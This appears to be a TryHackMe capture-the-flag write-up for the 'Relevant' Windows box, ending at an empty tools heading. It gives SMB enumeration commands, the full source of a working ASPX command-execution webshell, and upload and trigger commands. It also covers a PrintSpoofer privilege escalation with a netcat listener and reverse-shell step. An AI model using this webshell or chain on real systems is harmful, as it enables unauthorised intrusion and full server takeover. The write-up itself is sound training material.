Relevant — TryHackMe CTF

Overview

Windows Server 2016 with an SMB share (nt4wrksv) that allows anonymous write access — and is mapped directly to the IIS web root on port 49663. Upload an ASPX webshell via SMB, get code execution as IIS AppPool, then escalate to SYSTEM via SeImpersonatePrivilege + PrintSpoofer.

Reconnaissance

Port Scan

nmap -sC -sV -T4 TARGET

SMB Enumeration

smbclient -L //TARGET/ -N

ADMIN$  IPC$  C$  nt4wrksv

nt4wrksv is accessible anonymously. Contains passwords.txt (base64 decoys) and allows write access.

Foothold — ASPX Webshell

Webshell Creation

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
  string cmd = Request["cmd"];
  Process p = new Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + cmd;
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>

Upload via SMB

smbclient //TARGET/nt4wrksv -N -c "put shell.aspx"

Verify RCE

curl "http://TARGET:49663/nt4wrksv/shell.aspx?cmd=whoami"

iis apppool\defaultapppool

Privilege Escalation

SeImpersonatePrivilege

?cmd=whoami /priv

SeImpersonatePrivilege    Enabled

PrintSpoofer Upload & Execution

# Upload via SMB
smbclient //TARGET/nt4wrksv -N -c "put PrintSpoofer64.exe"

# Listener
nc -lvnp 4444

# Trigger via webshell
?cmd=C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c "cmd /c powershell -e <B64_REVSHELL>"

Result: SYSTEM shell received on listener

type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

1. Anonymous SMB write + web-served share = instant webshell. Always check if SMB shares map to web-accessible directories.
2. SeImpersonatePrivilege = SYSTEM. On Windows service accounts (IIS, MSSQL, etc.), this privilege enables PrintSpoofer, JuicyPotato, or RoguePotato for guaranteed escalation.
3. Check all ports. The second IIS instance on 49663 was the actual attack surface, not port 80.

Tools Used